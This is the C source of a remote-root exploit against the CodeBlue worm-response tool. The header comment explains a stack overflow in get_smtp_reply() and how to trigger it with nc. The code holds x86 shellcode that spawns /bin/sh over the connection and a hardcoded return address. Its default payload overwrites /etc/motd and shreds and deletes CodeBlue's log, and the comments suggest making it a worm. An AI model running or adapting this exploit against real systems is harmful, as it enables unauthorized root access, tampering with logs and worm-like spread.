/*
- Demonstration linux-x86 remote root against codeblue v1.1 (from file header)
- Otherwise it's known as CodeBlue v4
- This is a rather trivial to exploit…
- From get_smtp_reply()
- "We'll loop infinately, receiving
- 1 byte at a time until we receive a carriage return
- or line-feed character, signifying the end of the output"
- The stack looks like
- int get_smtp_reply(int sd)
- {
-
char response[1024];
-
char reply_message[1024];
- …
- I probably don't have to mention it, but it reads the response into response.
- …
- Also, since this is meant to increase security a little, why doesn't it
- filter non-alphanumeric chars? Also, since it is playing with untrusted
- data, why doesn't it drop uids, instead of insisting as running as root?
- if ((userid = getuid()) != 0) {
-
fprintf(stderr, "uid %d is invalid!\n", userid);
-
fprintf(stderr, "This program MUST be run as root\n");
-
exit(1);
- }
- Usage: gcc exp.c -o exp; ./exp | nc -l -p 25
- Now you could do (one another terminal)
- printf "GET /default.ida?NNNNNN HTTP/1.0\n\n" | nc remotehost 80
- and wait until codeblue runs.
- Granted, nc makes it remote, but why reinvent the wheel?
- Oh, and by the way, you'll most likely have to change the offset down there.
- Lots of improvements could (well, have) be done, such as a select(), read(),
- write(), so you can get a remote terminal… at the moment, all it'll do
- is make the id command display. Brute force is interesting, because you
- have to wait until it's run. I suspect, though I haven't tried, you could
- almost double the nop size by playing around with reply_message.
- If you had a sense of humour, you probably could turn this into a worm. This
- is one of the reason I don't really like automated response/attack software.
- Or you could just trojan/modify your existing smtp do to this whenever it
- recieves a HELO localhost…
- The interesting part of this is the bug in codeblue helped me win
- a wargame. We where given root an a box in a lan, and got to penertrate
- several others. Since the person running it was sick of being scanned by
- the various worms, he was running this…
- Now for the paranoia part, how many of those scans have you recieved where
- to check if you where running CodeBlue?
- laters,
- – Andrew Griffiths
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
/* The shellcode beats doing a bindshell/connect code, since codeblue already is
- talking to our (supposed) smtp server, so all we have to do is redirect
- stdin/out/err to fd 5. (Assuming fd 5 is the smtp connection. It was on
- mine.)
*/
unsigned char sc[] =
/* dupsh basically, dup2(5, (0,1,2)) /
"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x05"
"\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80"
/ Standard aleph1 shellcode */
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"
"\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08"
"\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80"
"\xe8\xde\xff\xff\xff/bin/sh";
int main()
{
unsigned char buf[3000];
memset(buf, 0, 3000);
memset(buf, 0x90, 967);
strncpy(buf+967, sc, strlen(sc));
fprintf(stderr, "buf: %s\n", buf);
fprintf(stderr, "strlen(buf): %d\n", strlen(buf));
buf[1036] = 0xd0;
buf[1037] = 0xdf;
buf[1038] = 0xff;
buf[1039] = 0xbf;
#ifdef ICANMODIFYCCODEORMODIFYCOMPILETIMEFLAGS
strcpy(buf + 1040, " id");
#else
strcpy(buf + 1040, " echo warning codeblue has a remote root hole in it
>/etc/motd; shred -z codebluelog 2>/dev/null; rm -f codebluelog 2>/dev/null;
echo you sux. RTFC…");
#endif
printf("%s", buf);
}
–
www.tasmail.com